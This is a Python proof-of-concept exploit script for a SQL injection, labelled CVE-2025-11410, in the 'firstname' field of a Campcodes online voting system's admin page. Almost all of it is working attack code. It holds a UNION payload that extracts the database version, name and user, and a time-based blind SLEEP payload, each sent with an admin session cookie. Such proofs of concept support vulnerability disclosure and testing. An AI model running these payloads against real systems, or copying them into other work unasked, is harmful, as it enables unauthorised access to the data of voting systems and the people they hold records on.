# CVE-2025-11410 PoC - SQL Injection in Campcodes Advanced Online Voting Management System
# Vulnerable file: /admin/voters_add.php
# Vulnerable parameter: firstname
import requests
TARGET_URL = "http://target-site.com"
ADMIN_PATH = "/admin/voters_add.php"
# SQL Injection payload targeting the 'firstname' parameter
# This payload attempts to extract database version information
SQL_PAYLOAD = "test' UNION SELECT 1,version(),database(),user(),5,6,7,8-- -"
def exploit_sql_injection(target_url, session_cookie):
"""
Exploit SQL injection vulnerability in voters_add.php
"""
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": session_cookie
}
# Data payload with malicious firstname parameter
data = {
"firstname": SQL_PAYLOAD,
"lastname": "test",
"username": "testuser",
"password": "testpass",
"submit": "Save"
}
response = requests.post(
target_url + ADMIN_PATH,
headers=headers,
data=data,
verify=False
)
print(f"Status Code: {response.status_code}")
print(f"Response Length: {len(response.text)}")
return response.text
# Alternative: Time-based blind SQL injection payload
TIME_BASED_PAYLOAD = "test' AND SLEEP(5)-- -"
def time_based_injection(target_url, session_cookie):
"""
Time-based blind SQL injection test
"""
import time
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": session_cookie
}
data = {
"firstname": TIME_BASED_PAYLOAD,
"lastname": "test",
"submit": "Save"
}
start_time = time.time()
response = requests.post(
target_url + ADMIN_PATH,
headers=headers,
data=data,
verify=False
)
elapsed = time.time() - start_time
if elapsed > 4:
print(f"[+] SQL Injection confirmed! Response time: {elapsed:.2f}s")
else:
print(f"[-] No injection detected. Response time: {elapsed:.2f}s")
if __name__ == "__main__":
# Note: Requires valid admin session cookie
session_cookie = "PHPSESSID=your_session_here"
# exploit_sql_injection(TARGET_URL, session_cookie)
# time_based_injection(TARGET_URL, session_cookie)
print("PoC ready - configure target URL and session cookie")